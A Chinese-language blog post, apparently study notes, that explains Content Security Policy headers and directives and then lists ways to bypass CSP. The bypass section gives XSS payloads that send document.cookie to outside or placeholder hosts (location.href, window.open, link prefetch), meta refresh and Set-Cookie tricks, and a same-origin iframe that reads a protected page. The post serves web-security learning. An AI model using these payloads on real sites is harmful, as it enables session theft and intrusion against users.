什么是CSP

CSP(Content Security Policy,内容安全策略),是网页应用中常见的一种安全保护机制,它实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,哪些不可以。CSP可以只允许被认可的JS块、JS文件、CSS等解析,只允许向指定的域发起请求。
除了CSP,还有一个Content-Security-Policy-Report-Only字段,表示不执行限制选项,只是记录违反限制的行为。它必须与report-uri选项配合使用。

Content-Security-Policy-Report-Only: default-src 'self'; ...; report-uri /my_amazing_csp_report_parser; 

CSP可以通过相应包HEADER设置实现

Content-Security-policy: default-src 'self'; script-src 'self' allowed.com; img-src 'self' allowed.com; style-src 'self'; 

或者HTML标签

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';"> 

指令

script-src:外部脚本
style-src:样式表
img-src:图像
media-src:媒体文件(音频和视频)
font-src:字体文件
object-src:插件(比如 Flash)
child-src:框架
frame-ancestors:嵌入的外部资源(比如<frame>、<iframe>、<embed>和<applet>)
connect-src:HTTP 连接(通过 XHR、WebSockets、EventSource等)
worker-src:worker脚本
manifest-src:manifest 文件
dedault-src:默认配置
frame-ancestors:限制嵌入框架的网页
base-uri:限制<base#href>
form-action:限制<form#action>
block-all-mixed-content:HTTPS 网页不得加载 HTTP 资源(浏览器已经默认开启)
upgrade-insecure-requests:自动将网页上所有加载外部资源的 HTTP 链接换成 HTTPS 协议
plugin-types:限制可以使用的插件格式
sandbox:浏览器行为的限制,比如不能有弹出窗口等。

*: 星号表示允许任何URL资源,没有限制;
self: 表示仅允许来自同源(相同协议、相同域名、相同端口)的资源被页面加载;
data:仅允许数据模式(如Base64编码的图片)方式加载资源;
none:不允许任何资源被加载;
unsafe-inline:允许使用内联资源,例如内联<script>标签,内联事件处理器,内联<style>标签等,但出于安全考虑,不建议使用;
unsafe-eval:允许不安全的动态代码,例如JavaScript eval()
nonce:通过使用一次性加密字符来定义可以执行的内联js脚本,服务端生成一次性加密字符并且只能使用一次;

绕过

location.href

href 属性是一个可读可写的字符串,可设置或返回当前显示的文档的完整 URL。

CSP不影响location.href跳转,因为在大多数网站中的跳转功能都是靠前端实现的,如果限制跳转将会使网站很大一部分功能受到影响,所以利用跳转来绕过CSP是一个万能的方法;或者存在script-src 'unsafe-inline';这条规则也可以用该绕过方法

<script>location.href="http://127.0.0.1"+document.cookie;</script> 

link标签预加载

link标签会预加载,导致CSP无法约束。不过好像大部分浏览器都约束了link

<!-- firefox --> 

<link rel="dns-prefetch" href="//${cookie}.vps_ip"> 

<!-- chrome --> 

<link rel="prefetch" href="//vps_ip?${cookie}"> 

动态构建元素,再引发页面跳转,就可以外带

var link = document.createElement("link");
link.setAttribute("rel", "prefetch");
link.setAttribute("href", "//vps_ip/?" + document.cookie);
document.head.appendChild(link); 

meta标签

利用meta标签实现网页跳转

<meta http-equiv="refresh" content="1;url=http://x.x.x.x:7890/" > 

除此之外:

meta可以控制缓存(在header没有设置的情况下),有时候可以用来绕过CSP nonce。

<meta http-equiv="cache-control" content="public"> 

meta可以设置Cookie(Firefox下),可以结合self-xss利用

<meta http-equiv="Set-Cookie" Content="cookievalue=xxx;expires=Wednesday,21-Oct-98 16:14:21 GMT; path=/"> 

iframe绕过

在CSP中,通过配置sandbox和child-src可以设置iframe的有效地址,它限制适iframe的行为,包括阻止弹出窗口,防止插件和脚本的执行,而且可以执行一个同源策略。

iframe 元素会创建包含另外一个文档的内联框架(即行内框架),我们可以通过设置这个来做到一个跨域访问,这其中就有安全问题了.

同源 这才是主角,当一个同源站点存在两个页面,我们称它们为A页面和B页面,假如A页面有CSP保护,而B页面没有,我们就可以直接在B页面新建iframe用js操作A页面的DOM,也就是说A页面的CSP防护完全失效

<!-- A页面 -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">

<h1 id="flag">flag{0xffff}</h1> 
<!-- B页面 -->

<body>
<script> var iframe = document.createElement('iframe');
iframe.src="http://127.0.0.1/a.php";
document.body.appendChild(iframe);
setTimeout(()=>alert(iframe.contentWindow.document.getElementById('flag').innerHTML),1000); </script>
</body> 

setTimeout是为了等待iframe加载完成

在Chrome下,iframe标签支持csp属性,这有时候可以用来绕过一些防御,例如http://xxx 页面有个js库会过滤XSS向量,我们就可以使用csp属性来禁掉这个js库。>

<iframe csp="script-src 'unsafe-inline'" src="http://xxx"></iframe> 

window.location|open

在允许unsafe-inline的情况下,可以用window.location,或者window.open之类的方法进行跳转绕过。

<script>window.location="https://www.XXX.com/x.php?c=[cookie]";</script>
<script>window.open('//www.XXX.com/?'+escape(document.cookie))</script>
<script>window.location.href='https://www.XXX.com/?cookie='+document.cookie</script>

CSP内容安全策略原理与绕过
CSP浅析与绕过
CSP绕过
基于Gadgets绕过XSS防御机制

最后修改:2023 年 11 月 02 日
如果觉得我的文章对你有用,请随意赞赏